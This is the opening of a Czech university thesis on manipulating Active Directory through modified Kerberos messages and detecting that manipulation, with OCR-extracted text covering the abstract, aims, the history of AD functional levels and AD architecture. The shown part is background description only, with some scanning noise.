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ABSTRAKT

Tato prace se zaméfi na manipulaci Active directory pomoci upravenych zprav protokolu
Kerberos. Hlavni ndplni bude zkoumani rozsahu moZnosti manipulace s protokolem a na-
sledné jeji detekce. Testovany budou vSechny aktudlné pouZzivané verze operacnich systému
Windows Server a Windows. Cilem je donutit sluzbu Active directory aby poskytla infor-
mace, které by normdln€ neméla a zaroven vymyslet detek¢ni pravidla. Prace bude prevazné
zamérend na rozbor protokolu, jeho rekonstrukci na bitové urovni a vysledny efekt zpravy

na sluzbu/klienta.

Klic¢ov4 slova: Kerberos, Active Directory, Man in the middle, Manipulace

ABSTRACT

This thesis will focus on Active directory manipulation using modified Kerberos messages.
The main focus will be to investigate the range of possibilities of protocol manipulation and
then its detection. All currently used versions of Windows Server and Windows operating
systems will be tested. The goal is to trick Active directory to provide information it would
not usually provide, while devising detection rules to prevent the manipulation. The work
will mainly focus on protocol analysis, reconstruction at the bit level and the resulting effect

of the message on the service/client.

Keywords: Kerberos, Active Directory, Man in the middle, Manipulation
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1. Uvod do problematiky

Active directory (zkrdcené AD) je jednou z nejrozsifenéjSich adresarovych sluzeb ke spravé
prav a pristupt. Kazda vétsi spolecnost, kterd vlastni a zaméstnava patfiéné mnoZzstvi uziva-
teld, tuto sluzbu vyuziva. Piikladem takové spolecnosti nebo organizace je pravé Univerzita
Toma4se Bati ve Zlin€. Pokud se student chce pfihlasit na pocita¢ ve studovné nebo v labora-
tofi, tak se ptihlasuje pomoci doménového uctu, ktery je vytvoren spole¢né se studentskym
uctem. Tomu jsou priraZeny urCité pravomoci podle toho, k jakym zdrojim potiebuje pii-
stup. Typickym piikladem mutize byt pfistup na sluzby VPN, nebo pfistup na sdilené dloziste.
Tyto pravomoci jsou pfifazeny jednotlivym uZzivateliim jako skupina. Studenti jsou vSak ve-
deni jako pouzi uzivatelé, ktefi nemaji moZnost ménit systémova nastaveni. Tyto pravomoci
miZe mit napiiklad spravce vypocetnich systémi univerzity, ktery je ve sluzbé vedeny jako
administrétor.

Utocnik, ktery by se rozhodl spole¢nost nebo organizaci napadnout, se snazi zmocnit Gétu
administratora. Tento et ma totiZ neregulovany piistup do viech zafizeni. Uto¢nik by pak
mohl prostfednictvim tohoto ziskaného uctu zpisobit kolaps celé infrastruktury, potencio-

nalné by mohl zptisobit i mnohem vétsi skody.

13



1.1 Cil prace

Hlavnim zaméfenim této prace bude pokus o manipulaci se sluzbou Active directory po-
moci manipulace s protokolem Kerberos. Budu se pokouset o to, aby mi sluzba vyzradila
informace, které by za normalnich okolnosti neméla. Dal$im bodem bude pokus o ptihlaseni
jako jiny uZivatel nebo administritor. Na kazdou manipulaci také navrhnu detekcni pravidla,
aby bylo moZné manipulaci zamezit. VSechny manipulace budu testovat na operacnich sys-
témech Windows Server 2016 az 2025 s jednim klientem s operacnim systémem Windows

10 a Windows 11.

14
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2. Historie evoluce Active Directory

Tato kapitola bude zaméfena na evoluci adresafové sluzeb a Active Directory. Nejprve je
pro lepsi pochopeni evoluce vyvoje nutno nastinit asponl zdkladni fungovéni adresdrovych

sluzeb.

2.1 Adresarové sluzby

Nejprve je nutné definovat, co to vibec jsou adresarové sluzby. Adresarova sluzba je da-
tabaze pro uklddéani a udrzbu informaci o uZivatelich a prostiedcich. Adresarové sluzby se
Casto oznacuji jako adresére, ulozisté uzivateli nebo tlozisté identit a uchovavaji informace,
jako jsou uzivatelskd jména, hesla, uZivatelské preference, informace o zafizenich a dalsi.
Spravci siti a systému pouzivaji adresarové sluzby k pfijimani uZivatelil, ke spravé pristu-
povych opravnéni, k monitorovani, fizeni pfistupu k aplikacim a prostfedkim infrastruk-
tury. KdyZ naptiklad uZivatel pfistupuje k aplikaci, tato aplikace se odkazuje na adresdrovou
sluzbu, aby se ujistila, Ze je uzivatel legitimni a ma ptislusnd opravnéni k pfistupu a pouzi-
vani dané aplikace. [17]

V tvodu jsem nastinil velmi jednoduchy priklad vyuziti a fungovéni adresare, ktery nyni
rozvedu. Adresafovou strukturu reprezentuje standartni struktura adresart v jakémkoli ope-
racnim systému. V kofenovém adresafi se nachdzi slozky, které se v kontextu Active Di-
rectory oznacuji jako organizacni jednotky (zkracené¢ OU). V téch se nachdzi rizné objekty
napriklad:

e Uzivatelé,

¢ Pocitace,

* Tiskérny,

* Sdilené slozky.

16
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Specifické objekty jako uZivatel mohou obsahovat napiiklad informace jako jméno, pfi-
jmeni, e-mail, telefon, adresu a mnohé dalsi. Témto objektim je mozné priradit skupiny, a
tim kontrolovat pfistup ke zdrojiim. V kontextu Active Directory se tyto skupiny déli na dvé
skupiny: bezpec¢nostni a distribucni. Bezpecnostni skupiny fidi pfistup ke zdrojim. Typic-
kym zdrojem pro tento typ skupiny jsou adresdfe na sit'ovém ulozisti. Distribucni skupiny
jsou vyuzivané predevS§im pro fizeni e-mailové komunikace. Pfikladem pro tuto skupinu

muZe byt sdilend e-mailova schranka.

Dalsi vystiznou funkei jsou nastaveni doménové politiky (Group Policy nebo zkrdcené
GPO). Tyto politiky se vdZou na jednotlivé organizaéni jednotky. V nich mize administrator
nastavit specifickd nastaveni pro objekty, které jsou umistény v organizacni jednotce. Takové
nastaveni miZe vypadat nasledovné: pokud objekt pocitace umistim do organizacni jednotky

Retired, tak se jakykoliv uzivatel nebude moci k danému pocitaci prihlasit.

Tyto zékladni principy pomutzou k vysvétleni evoluce Active Directory v nasledujicich

kapitolach.
2.2 Funcionality tirovné lesa

Funk¢ni trovné urcuji dostupné moznosti domény nebo doménové struktury sluzby AD DS
(Active Directory Domain Services). Urcuji také, které operacni systémy Windows Server
1ze spustit na fadi¢ich domény v doméné nebo doménové struktute. Funk¢ni tirovné vSak ne-
maji vliv na to, které operacni systémy muzete spoustét na pracovnich stanicich a ¢lenskych
serverech pfipojenych k doméné nebo doménové strukture. Pfi nasazeni nové doménové
struktury je tfeba nastavit funkéni tirovné doménové struktury i domény. Uroveti funkénosti
domény je moZné nastavit na hodnotu, kterd je vyssi nez droven funkénosti doménové struk-
tury, ale uroven funk¢nosti domény neni mozné nastavit na hodnotu nizsi nez uroven funkc-

nosti doménové struktury. Tyto trovné budu prochédzet v nédsledujicich kapitolach. Jedna se

o nasledujici trovné: [15]

Active directory - 2003,

Active directory - 2008,
Active directory - 2012 + 2012 R2,

Active directory - 2016,

Active directory - 2025.
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2.3 Zacatky Active directory - Windows server 2003

Prvni verze Active Directory sahd do minulosti do verzi Windows 2000 a Windows Server
2003. Predchozi implementace tohoto systému byly takzvané Windows Domains. Ty umoz-
novaly funkcionalitu single-master modelu, kde byl pouze jeden primarni fadi¢ domény a
jeden zdlozni pro piipady havérie hlavniho fadie. Primarnim fadicem domény se rozumi
hlavni server, ktery muze zpracovavat aktualizace v databazi Active Directory. To byla jedna
z prvnich verzi Active Directory, kterd povolovala multi-master model. TudiZ mohly byt nyni
zmény provedeny na jakémkoliv doménovém tadici (zkracené¢ DC — Domain Controller).

[13] Tato verze obsahovala nasledujici komponenty:

* Active Directory Federation Services,
* Active Directory Users and Computers,
» Active Directory Sites and Services,

 Active Directory Domains and Trust.
2.3.1 Active Directory Federation Services

Active Directory Federation Services (zkracené ADFS) umoznuje federativni spravu identit
a pristupu, bezpecné sdileni digitdlnich identit a opravnéni napii¢ bezpecnostnimi a pod-
nikovymi hranicemi, umoZnuje organizacim bezpecné sdilet informace o identité uZivatele
prostfednictvim federace divéry. Federativni diivérou se rozumi dohoda na obchodni drovni
nebo partnerstvi mezi dvéma organizacemi. ADFS vytvori kryptograficky podepsany bez-
pecnostni token, ktery predstavuje relaci uZivatele. Token miiZze byt zaloZen na certifikatu
vetejného klice, systému Kerberos nebo jazyka SAML (Security Assertion Markup Langu-
age). Token se pouziva pro jednotné piihlasovani v distribuovanych divéryhodnych ¢astech
TOE (Target of evaluation), ovéfovani a autorizaci uzivatelii v ramci TOE, fizeny pfistup k

webovym zdrojim.

Active Directory poskytuje ovéfovani integrované do systému Windows v rdmci bezpec-
nostnich nebo podnikovych hranic organizace. Sluzba ADFS rozSifuje tuto funkci napfic
vztahy divéryhodnosti doménové struktury a na externi sit' ové aplikace. To umoziuje za-
kazniktim, partnerim a dodavatelim moZnost pfistupu k webovym aplikacim organizace
vyuzivat podobny zptisob jednotného prihlaSovani jako v jejich organizaci (SSO). Kromé

toho Ize federativni servery nasadit ve vice organizacich a usnadnit tak federativni transakce
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mezi partnerskymi organizacemi (B2B). To znamend, Ze uZivatel, ktery ma tcet vedeny pod
jednou organizaci, miZe pristupovat pomoci svého doménového tctu k aplikacim partnerské

organizace za podminky, Ze mezi sebou maji ADFS partnerstvi. [19]
Sluzba se sklada z nasledujicich komponenti

» Federation Service - funguje jako sluzba bezpecnostnich tokentl a sméruje pozadavky
na ovéfeni od externich uzivatelskych Gcti.
» Federation Service Proxy - funguje jako proxy server pro sluzbu Federation Service v
obvodové siti.
* ADFS Web Agent - poskytuje autorizaci (spotfebovdva bezpecnostni tokeny) a povo-
luje nebo zamita pristup ke dvéma typiim webovych aplikaci:
— Claims-aware applications: rozhoduje o autorizaci na zdkladé naroki
— Windows NT token-based applications: pouzivd autorizacni mechanismy sys-

tému Windows.

[19]
2.3.2 Active Directory Users and Computers

Rozhrani Active Directory Users and Computers slouZi k vytvafeni a spravé uZivateld, sku-
pin, pocitaci a dalSich objektli pro doménu a je k dispozici pouze v fadi¢ich domény. Vétsina
administrativnich dkonu tykajicich se spravy uctd a nastaveni skupin se odehravad v tomto
rozhrani. Pfikladem miZe byt pripojeni pocitace do domény. Nejprve se vytvori tcet, pod
kterym se uZivatel bude pfihlaSovat do domény. Nasledné, pokud bude chtit administrator
pfifadit pocita¢ do své domény, tak se v lokdln{ siti pfihldsi pomoci doménového Gictu. N4-

sledné se pocitac objevi v organizacni jednotce Computers. [19]
2.3.3 Active Directory Sites and Services

Active Directory Sites and Services slouzi ke spravé replikace dat adresafe. Vyuziva multi-
master replikaci, kterd umoZznuje libovolnému fadi¢i doménové struktury obsluhovat poza-
davky, v€etné dprav adresare uzivateld. Pfi malém nasazeni nemusi libovolny vybér fadice
domény zpusobit problémy. V pripadé nasazeni, které zahrnuje nékolik doménovych kon-
troleri spojenych pres VPN pres WAN, by vSak mohly nastat problémy. Mimofadné nee-

fektivni je, kdyz se naptiklad uZivatelé v Sydney pokousi ovéfit k fadicim domény v New
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Yorku. Lokality a sluzby Active Directory mohou zlepsit efektivitu adresafovych sluzeb pro

vétSinu nasazeni pomoci mist. [19]

Lokalita predstavuje oblast s rovnhomérné dobrym piistupem k siti, coZ lze interpretovat
jako obecné dobry pristup k siti, ekvivalentni pfipojeni k siti LAN. To neznamen4, Ze vSechny

servery v lokalité musi byt ve stejném segmentu sité. [19]

Administratofi poskytuji informace o fyzické struktufe sit€¢ publikovdnim lokality do
sluZzby Active Directory pomoci sluzby Active Directory Sites and Services. Sluzba Active

Directory tyto informace pouziva k urceni zplisobu replikace informaci adreséie a ke zpra-

covani pozadavkd na sluzby. [19]
Opravnéni k objektam sluzby Active Directory

Ve sluzbé Active Directory se fizeni piistupu spravuje na urovni objektli nastavenim riznych
trovni piistupu nebo opravnéni k objektiim, napiiklad Uplné fizeni, Zapis, Cteni nebo Bez
piistupu. Rizen{ pfistupu definuje, jak mohou uréiti uZivatelé pfistupovat k riznym objektéim.
Pri fizen{ piistupu k objektiim sluzby Active Directory existuji nasledujici moznosti. Je tfeba
vzit v tvahu dvé véci: opravnéni, kterd mizZe uzivatel k objektu pfipojit, a zplisoby, jakymi
1ze tato opravnéni pripojit, aby bylo mozné delegovat odpovédnost za spravu objektl sluzby

Active Directory. [19]
2.3.4 Active Directory Domains and Trust

V urcitych situacich je nezbytné vytvorit mezi doménami explicitni vztahy daveéry. Typicky
se to tykd pripadl, kdy domény nachézejici se v riznych doménovych strukturdch (tzv. le-
sich) potfebuji navzajem spolupracovat a vzajemné si ditvérovat. Spravce miZe takovy vztah
nastavit pomoci nepiechodného nebo jednosmérného vztahu davéry.[19] Pfechodnost vztahu
uruje, zda se dliivéra miize automaticky rozsifit i na dal$i domény mimo ptivodni dvojici.
Jednosmérny vztah znamend, Ze doména A ma pristup ke zdrojim domény B, avSak doména
B nema automaticky pristup ke zdrojim domény A. Pokud ma byt divéra oboustrannd, musi
spravce domény B ru¢né€ nastavit divéru vici doméné A — tedy specifikovat, Ze doméné A
1ze diivérovat. To ale neznamend, Ze doména A bude tuto divéru opétovat; vztah je plné fizen

nastavenim spravce.[2]
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2.4 Active directory - Windows 2008, R2

Nasledujici povySeni drovné pfiSlo s verzi Windows Server 2008. Tato verze obsahovala
vSechna predesla vylepSeni a prinasi nasledujici inovace: [15]

* Distributed File System (DFS) - podpora replikace pro systémovy svazek (SYSVOL).

* Domain-based DFS namespaces - zahrnuje podporu access-based enumeration na za-
klad¢ pristupt a zvySenou Skalovatelnost.

* Podpora Advanced Encryption Standard (AES 128 a AES 256) pro protokol Kerberos.

* Informace o poslednim interaktivnim prihlaseni, které obsahovalo nésledujici infor-
mace:

— Celkovy pocet nedspésnych pokusii o ptihlaSeni na serveru pripojeném k doméné
Windows Server 2008 nebo na pracovni stanici se systémem Windows Vista.

— Celkovy pocet netspésnych pokusi o pfihlaseni po uspesném prihlaseni k ser-
veru se systémem Windows Server 2008 nebo k pracovni stanici se systémem
Windows Vista.

— Cas posledniho nedsp&sného pokusu o piihldseni k serveru se systémem Win-
dows Server 2008 nebo pracovni stanici se systémem Windows Vista

— Cas posledniho tGsp&$ného pokusu o pfihlaSeni k serveru Windows Server 2008
nebo pracovni stanici Windows Vista

* MoZnost detailnéjsi specifikace politiky hesel - umoZiuje nastavit zasady blokovéni
hesel a uctl pro uzivatele a globalni skupiny zabezpeceni v doméné.

* Osobni virtudlni plochy — moZnost vytvoreni virtudlni plochy hostované na serveru,
do které se mohou uzivatelé domény prihlasit (tento pfistup velmi Casto pouZzivaji na-
priklad banky).[6]

* Zajisténi mechanismu ovéfovani, které zabali informace o typu metody pfihlasovéani
do kerberos ticketu. Specificky se metodou prihlaseni mysli napiiklad heslo, smart

karta, pin a mnohé dal$i metody.
[15]
Pro zajisténi funkCnosti nékterych novych vlastnosti bylo nezbytné povysit troven lesa
na aktudlni verzi. Tento krok vSak zdroven zpfistupnil fadu dalSich vylepSeni. Jednim z vy-

znamnych piinost pro spravce bylo rozsifeni moznosti spravy prostfednictvim piikazové

radky a zavedeni automatizace. Diky rutindm prostfedi Windows PowerShell je nyni mozné
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plné spravovat serverové role Active Directory bez nutnosti pouZiti grafického rozhrani. Tyto
rutiny dopliuji tradi¢ni grafické nastroje a umoziuji efektivni automatizaci rutinnich admi-

nistratorskych ¢innosti. [20]
2.4.1 VylepSeni sluzby Active Directory Domain Services

Active Directory Domain Service v systému Windows Server 2008 obsahuje nasledujici vy-
lepSent:

* Obnoveni smazanych objektl - Sluzba ma nyni funkci kose, kterd umoZniuje obnovit
odstranéné objekty. Pokud je objekt sluzby Active Directory netimyslné odstranén,
miZete jej obnovit z kose.

* VylepSeny proces pfipojovani domén - Pocitace se nyni mohou pfipojit k doméné, aniz
by byly béhem procesu nasazeni k doméné pfipojeny, coz je také zndmé jako offline
pripojeni k doméné. Tento proces umoZziiuje plné automatizovat pripojovani domény
béhem nasazeni.

* VylepSena sprava uzivatelskych ucti pouzivanych jako identita pro sluzby - Tato funkce
fesi problém aktualizace hesel pro servisni Giéty. Resenim je spravované uéty sluzeb,

které automaticky aktualizuji heslo pro servisni Gcty pfi zméné hesla.

[20]

2.5 Active directory - Windows 2012, R2

PovySeni doménové struktury na trovenl Windows Server 2012 a Windows Server 2012 R2
pfindsi obdobnd vylepSeni jako pfedchozi verze, ale zaroven zavadi nékolik klicovych no-
vinek. Mezi zdsadni piinosy patii podpora deklaraci (claims), sloZeného ovéfovani (com-
pound authentication) a tzv. Kerberos armoring. Kerberos zdsady obsahuji dvé hlavni na-
staveni: vZdy poskytovat deklarace (Always provide claims) a odmitnout ovéfeni bez ar-
moringu (Fail unarmored authentication requests). Deklarace predstavuji dopliikové autori-
zacni udaje, které sluzba Active Directory predava pii vytvareni servisnich ticketii. UmozZnuji
zpresnit Fizeni pfistupu uzivateli ke konkrétnim sluzbam na zakladé definovanych pravidel.
Dalsi vyznamna vylepSeni zahrnuji:

* Ochrana na strané DC pro chrdnéné uZzivatele - Chranéni uZivatelé, ktefi se ovéruji v

doméné Windows Server 2012 R2, jiZ nemohou:
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— ovéfovat pomoci NTLM,
— pouzivat sady Sifer DES nebo RC4 pri piedbéZném ovérovani Kerberos,
— byt delegovdni pomoci neomezeného nebo omezeného delegovani,
— obnovovat uZivatelské tikety (TGT) po uplynuti pocatecni Ctythodinové Zivot-
nosti.
» Zasady ovéfovani — nova zasada, ktera u hostitelti urCuje, ktery ucet se mize ptihlaso-
vat a uplatiiovat podminky fizeni piistupu pro ovéfovani sluzeb spusténych jako ucet.
* Silové zasady ovérovani — novy objekt zaloZzeny na doménové struktuie, ktery muize
vytvéret vztahy mezi Gty uZivatelil, spravovanych sluzeb a pocitaci, které 1ze pouZit
ke klasifikaci actl pro zdsady ovéfovani nebo k izolaci ovéfovani.
Sluzba Active Directory byla dale rozsifena o nasledujici hodnoty, které umoznuji fidit ri-

zika IT a zdroven umoznuji IT oddéleni umoZnit uzivatelim produktivitu z riiznych zatizeni:

» Spravci IT mohou povolit prifazeni zafizeni k podnikové sluzbé Active Directory a
pouZit toto pfifazeni jako bezproblémové ovéfeni druhym faktorem.

* Umoznit uzivatelim pouzivat jednotné pfihlaseni (SSO) ze zafizeni, kterd jsou pfidru-
Zena k podnikové sluzbé Active Directory.

* UmozZnit uzivatelim pfipojovat se k aplikacim a sluzbam odkudkoli pomoci Web Ap-
plication Proxy.

« Ridit riziko, Ze uZivatelé pracuji odkudkoli a pfistupuji ke chranénym datiim ze svych
zafizeni, a to pomoci vicefaktorového fizeni pfistupu a vicefaktorového ovérovani

(MFA).
2.5.1 VylepSeni sluzby Active Directory Domain Services

Mezi vylepSeni sluzby AD DS v systému Windows Server 2012 patfi:

* Podpora virtualizace - systém Windows 2012 poskytuje vétsi podporu pro moznosti
vefejnych a soukromych cloudtl prostiednictvim technologii bezpec¢nych pro virtuali-

zaci a rychlého nasazen{ virtudlnich fadi¢d domény pomoci klonovani.
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» Zjednodusena priprava na nasazeni a upgrade - procesy upgradu a pripravy byly na-
hrazeny novym zjednodusenym privodcem povysenim fadice domény, ktery je inte-
grovan se Spravcem serveru a postaven na prostredi Windows PowerShell. Ovétuje
predbéZné podminky, automatizuje ptipravu doménové struktury a domény, vyZaduje
pouze jednu sadu prihlasovacich tdaji a dokaze vzdalené nainstalovat sluzbu AD DS
na cilovy server.

* Zmény platformy AD DS - zahrnuje zékladni funkce véetné chovani ,,pod poklickou*,
které tidi komponenty, na nichZ je postaven zbytek adresarové sluzby. Aktualizace
platformy AD DS zahrnuji vylepSené pridélovani a Skdlovani RID (relativnich iden-
tifikatorti), odlozené vytvareni indext, riznd vylepSeni systému Kerberos a podporu

s Vs

deklaraci Kerberos (viz Dynamické fizeni piistupu) v systému AD FS.

2.6 Active directory - Windows 2016

vvvvv

/////

* Privileged access management (PAM) pomoci néstroje Microsoft Identity Manager
(MIM) - pomdhd zmirnit obavy o zabezpeceni v prostredich sluzby Active Directory
zpusobené technikami kradeze povéreni, jako jsou pass-the-hash, spear phishing apod.

* Doménové kontrolery mohou podporovat automatické previjeni spravce NTLM (New
Technology LAN Manager) a dalSich tajemstvi zaloZenych na heslech na uZivatelském
uctu nakonfigurovaném tak, aby vyZzadoval ovéfovani pomoci infrastruktury vetrejnych
klica (PKI).

* DC mohou podporovat povoleni sit ového NTLM, pokud je uZivatel omezen na kon-
krétni zafizeni pripojend k doméné.

* Klienti Kerberos, ktef{ se ispéSné ovéti pomoci rozsiteni PKInit Freshness Extension,

ziskaji Cerstvy bezpe€nostni identifikator identity vetejného klice (SID).
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2.7 Active directory - Windows 2025

Verze 2025 je momentdlné posledni verzi irovné lesa, ktera prisla s posledni verzi Windows

/////

* Volitelna funkce velikosti stranky databdze 32k — sluzba Active Directory pouziva
databazi ESE (Extensible Storage Engine) od jejiho uvedeni v systému Windows 2000,
ktera pouziva velikost stranky databdze 8k. Rozhodnuti o ndvrhu architektury 8k vedlo
k omezenim v celém systému Active Directory, kterd jsou zdokumentovdna v Casti
Maximalni limity Skalovatelnosti syst¢ému AD. Piikladem tohoto omezeni je objekt
Active Directory s jednim zdznamem, jehoZ velikost nesmi piekrocit 8k bajtl. Pfechod
na formét 32k databdzové stranky nabizi obrovské zlepsSeni v oblastech ovlivnénych
star§imi omezenimi, véetné€ vicehodnotovych atributt, které nyni mohou obsahovat az
3 200 hodnot.

» Aktualizace schématu databdze (zavedeny tfi nové soubory databaze (LDF — Log Da-

* Oprava objektl sluzby AD — sluzba nyni umoZziuje spravcim podniku opravit objekty
s chybéjicimi zdkladnimi atributy SamAccountType a ObjectCategory. Spravci mo-
hou u objektu obnovit atribut LastLogonTimeStamp na aktudlni ¢as. Téchto operaci
je dosahovano prostfednictvim nové funkce operace RootDSE modify na postizeném
objektu s ndzvem fixupObjectState.

* VylepSeni algoritmu pro zjiS§t ovdni polohy DC — algoritmus pro zjiSt ovani polohy
DC poskytuje nové funkce s vylepSenim mapovani kratkych doménovych jmen ve

stylu NetBIOS na doménovd jména ve stylu DNS [18]

Tento stru¢ny dvod do historie poslouzi k lepSimu pochopeni celkové funkcionality.



3. Funkcionalita Active Directory

Tato kapitola se zaméfuje na hlubsi porozuméni funkci sluzby Active Directory. Jeji zdkladni
principy, kli¢ové moduly a terminologie jiZ byly stru¢né nastinény v pfedchozich kapitoléch,
nyni se vSak podrobnégji vénujeme jejimu praktickému fungovdni a souvislostem v rdmci

spravy sité.

3.1 Uvod do Active Directory

Jak jiz bylo naznaceno v predchozich kapitolach, sluzba Active Directory Domain Services
(AD DS) patii mezi adresarové sluzby, které zajist'uji uklddani a zptistupnéni dat v sit ovém
prostfedi. AD DS umoziuje efektivni spravu informaci o objektech v siti, zejména o uzi-
vatelskych uctech (napf. jméno, heslo, telefonni Cislo), a zdroven poskytuje autorizovanym
uzivatelim pristup k témto datiim. [3]

Active Directory vyuziva strukturované datové ulozisté, oznaCované jako adresar, které
slouzi jako zdklad pro logické a hierarchické uspofddédni informaci. Tento adresdf obsahuje
zaznamy o sit' ovych objektech, mezi které patii naptiklad servery, diskové svazky, tiskarny,
uzivatelské a pocitacové ucty. [3]

Bezpecnost je zajiSténa prostfednictvim ovérovani prihldseni a fizeni piistupu k jednotli-
vym objektim v adresafi. Diky mechanismu jednotného pfihlaseni (single sign-on) mohou
spravci efektivné spravovat sit’ova data a celou strukturu organizace, zatimco opravnéni uzi-
vatelé maji pristup ke zdrojiim napfiC siti. Sprava zaloZend na zdsadach vyrazné zjednodusuje
administraci 1 ve velmi rozsdhlém sit’ ovém prostiedi. Active Directory také obsahuje: [3]

* Soubor pravidel, tzv. schémat, kterd definuji tfidy objektd a atributi obsaZenych v

adresari, omezeni a limity instanci t€chto objekti a format jejich nazvu.

26
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* Globdlni katalog, ktery obsahuje informace o kazdém objektu v katalogu. To umoz-
nuje uzivatelim a spravcim vyhledavat informace o adresafi bez ohledu na to, ktera
doména v adresafi data skuteCné obsahuje.

* Mechanismus dotazovani a indexovani, ktery umoZnuje uZivatelim sité¢ nebo aplika-
cim publikovat a vyhledavat objekty a jejich vlastnosti.

* Replikacni sluzbu, kterd distribuuje data adresare v siti. VSechny fadi¢e domény, které
jsou do domény pfipojeny, se Ucastni replikace a obsahuji kompletni kopii vSech adre-
sarovych informaci pro svou doménu. Jakdkoli zména adresafovych dat je replikovana

do vsech radici domény v doméné.

[3]
3.1.1 Struktura Active Directory a technologie ukladani dat

Spréavci vyuzivaji sluzbu Active Directory k ukldddni a organizaci sit'ovych objektt do hi-
erarchické struktury, kterd je zndma jako logicka struktura. Ta zahrnuje uzivatele, pocitace
a dalsi sit ové prostifedky. Zakladni jednotkou této struktury je doména, pri¢emz jednotlivé
domény mohou byt sdruZzovany do tzv. lesi. Les tvorfi bezpecnostni hranici a umoZziiuje na-
stavovat autonomii i izolaci dat a sluzeb v ramci organizace. Tato struktura mizZe zaroven
odrazet geografické ¢lenéni nebo organizacni usporadani.[4]

Jednim z hlavnich pfinosi oddéleni logické a fyzické struktury je vySsi flexibilita pri
sprave. Logické Clenéni totiZ neni zavislé na fyzické topologii sit€. Logicka struktura rovnéz
usnadiiuje fizeni pristupu k datim tim, Ze umoznuje jejich rozdéleni do oddili s definova-
nymi pristupovymi pravy. [4]

Vsechny informace v adresafi Active Directory jsou ukladany prostfednictvim objekti,
jejichz vlastnosti a vztahy jsou definovdany ve schématu. Schéma urcuje datové typy, syn-
taxi a dals$i parametry nezbytné k tomu, aby bylo mozné data spravné uloZit a validovat.
Do adresére nelze zapsat zddna data, pokud objekty, které se maji pouZit, nejsou ve sché-
matu predem definovany. Vychozi schéma obsahuje vSechny potfebné definice objektii pro

zdkladni provoz sluzby Active Directory. [4]

Zatimco logickad struktura (domény, stromy, lesy) slouZi ke zpfistupnéni adresafe, fyzicka
struktura predstavuje jeho vlastni implementaci, tedy databazi uloZenou na vSech tfadi¢ich

domény v ramci doménové struktury. Piistup k této databdzi zajiSt'uje datové ulozisté Active
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Directory, které je tvofeno kombinaci sluZeb a fyzickych soubord. Tyto komponenty zpro-
sttedkovdvaji Cteni a zépis dat a zajiSt'uji synchronizaci mezi jednotlivymi fadi¢i domény.

[4]
3.1.2 Struktura Active Directory a architektura aloziSté

Struktura a architektura uloZisté sluzby Active Directory se skldda ze Ctyr zakladnich Casti.
Prvni z nich tvoii domény a doménové struktury, které predstavuji zdkladni prvky logické
struktury adresafe. Patii sem lesy, domény a organizacni jednotky (OU — Organizational
Units).[4]

Les tvofi nejvyssi droven logické struktury a predstavuje bezpecnostni hranici. Kazdy les
obsahuje jeden nebo vice adresart a sdruZzuje domény, které spolu divéruji a sdileji spole¢né
schéma i globdlni katalog. Domény pak tvoii podfizené Casti lesa a slouzi k oddéleni spravy
a bezpecnostnich politik v rdmci organizace. Diky tomuto ¢lenéni 1ze 1épe fidit replikaci
dat a optimalizovat topologii sité. Replikace probihd efektivné a nezatézuje zbytecné Sitku
pasma.[4]

Organizacni jednotky umoznuji dale ¢lenit doménu na mensi logické celky, které 1ze sa-
mostatné spravovat. SlouZzi napiiklad k aplikaci zdsad skupiny (Group Policy) nebo k delego-
vani administrativnich oprdvnéni na konkrétni spravce, ¢imz zjednodusuji spravu rozsdhlych
struktur.[4]

Druhou soucasti architektury sluzby Active Directory je integrace se systémem DNS (Do-
main Name System). DNS zajist'uje preklad nazvli a umoziuje lokalizaci fadi¢i domény,
¢imzZ tvori zakladni mechanismus pro komunikaci mezi prvky domény. Diky hierarchické
struktufe DNS muiZe Active Directory vyuZivat konvence pojmenovani, které odrazeji orga-
nizacni strukturu firmy ¢i instituce. DNS hraje kli¢ovou roli nejen pti vyhleddvéni, ale i v
procesech ovérovani, aktualizace zdznami nebo replikace sluZeb.[4]

Pti prihlaSeni uZivatele k doméné vyuziva klientsky pocitac sluzbu DNS k nalezeni nej-
blizstho dostupného fadi¢e domény (Domain Controller), ke kterému se ndsledné pfipoji.
Rovnéz jednotlivé fadiCe domény se vzdjemné vyhleddvaji a synchronizuji prostfednictvim

DNS, ¢imz je zajiSténa funkCnost celé doménové struktury.[4]
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Treti klicovou ¢asti architektury je schéma Active Directory. Schéma definuje pravidla a
strukturu vSech objektt, které jsou v adresafi ulozeny. Urcuji se zde typy objektt, jejich atri-
buty i datovd syntaxe. Kazdy les Active Directory mé pouze jedno schéma, avSak jeho kopie
existuje na vSech fadi¢ich domény v daném lese. Diky tomu maji vSechny fadice pfistup
k identické definici objektd a mohou tyto objekty vytvaret a upravovat jednotnym zpuiso-

bem.[4]

Schéma tak zajiSt'uje konzistenci a integritu dat v adresari bez ohledu na to, kde k operaci
dochdzi. Predstavuje zakladni mechanismus pro spravu adresafovych objektd a umoziuje

udrZet celou strukturu jednotnou a prehlednou.[4]

/////

domény. Sestavuje se celkem z nékolika komponentti[4]:

* Ctyfi rozhrani:

Lightweight Directory Access Protocol (LDAP)

Replicatio (REPL) and domain controller management interface

Messaging API (MAPI)

Security Accounts Manager (SAM)
* Tfti servisni komponenty

— Directory System Agent (DSA)

— The database layer

— Extensible Storage Engine (ESE)

* Adresét, kde je uloZzend databaze

Cela struktura a architektura se da popsat nasledujicim schématem:
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Obréazek 3.1.1 Schéma struktury a architektury Active Directory [Zdroj: [4]]

3.2 Ukladani objekta v Active Directory

V predchozi sekci je naznaceno, Ze objekty ve sluzbé Active Directory jsou ukladidny podle
schématu, které je jednotné definované pro cely les. Doménové kontroléry jej vyuZivaji k
ukladani objekti, jako jsou pocitaCe, skupiny a uzivatelé. Tato sekce se bude vénovat de-
tailnéjSimu popisu uklddani objektl se zaméfenim na uZivatele, které nasledné vyuZziji v

praktické Casti préice.
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3.2.1 Architektura schémat Active Directory

Schémata definuji nasledujici:

* objekty, které se pouzivaji k ukladani dat v adreséri
* pravidla, kterymi se fidi struktura téchto objektl

¢ strukturu a obsah samotného adresare

Tyto definice se skladaji z objektt, atributti a tiid.
Objekty

Objekty v Active Directory predstavuji zdkladni stavebni jednotky, které slouzi k uchova-
vani jak dat samotnych, tak i informaci o jejich struktufe a pravidlech. Kazdy objekt obsa-
huje udaje, které reprezentuji konkrétni entitu (napf. uZivatele, pocita¢, skupinu), a zaroven i
metadata urcujici spravny zptsob uloZeni a zpracovani téchto idajd.[7]

Napriklad objekt uzivatelského uctu zahrnuje nejen prihlasovaci jméno uZivatele, ale také
definici syntaxe, kterd urCuje, jak md byt toto jméno v rdmci objektu uloZeno. Active Di-
rectory uklad4 tyto objekty do adresafového ulozisté, pricemzZ veskerd souvisejici data jsou
